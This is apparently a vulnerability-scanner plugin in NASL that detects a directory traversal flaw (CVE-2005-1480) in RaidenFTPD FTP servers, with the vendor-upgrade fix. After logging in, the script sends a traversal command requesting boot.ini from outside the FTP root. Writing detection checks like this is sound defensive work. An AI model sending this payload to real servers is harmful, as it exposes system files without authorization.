RaidenFTPD < 2.4 build 2241 Directory Traversal Vulnerability

# SPDX-FileCopyrightText: 2005 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.18225");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2005-1480");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/13292");
  script_xref(name:"OSVDB", value:"15713");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("RaidenFTPD < 2.4 build 2241 Directory Traversal Vulnerability");
  script_category(ACT_GATHER_INFO);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2005 David Maciejak");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_keys("ftp/login");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/raidenftpd/detected");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Upgrade to 2.4 build 2241 or newer.");

  script_tag(name:"summary", value:"RaidenFTPD is prone to a directory traversal vulnerability.");

  script_tag(name:"impact", value:"A malicious user could exploit it to obtain read
  access to the outside of the intended ftp root.");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = ftp_get_port(default:21);

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
password = kb_creds["pass"];
if ( ! login || ! password )
  exit(0);

banner = ftp_get_banner(port: port);
if(!banner || !egrep(pattern:".*RaidenFTPD.*", string:banner))
  exit(0);

soc = open_sock_tcp(port);
if(soc)
{
  ftp_recv_line(socket:soc);
  if(ftp_authenticate(socket:soc, user:login, pass:password))
  {
    s = string("quote site urlget file:/..\\boot.ini\r\n");
    send(socket:soc, data:s);
    r = ftp_recv_line(socket:soc);
    if ("220 site urlget " >< r)
      security_message(port);
  }
  close(soc);
}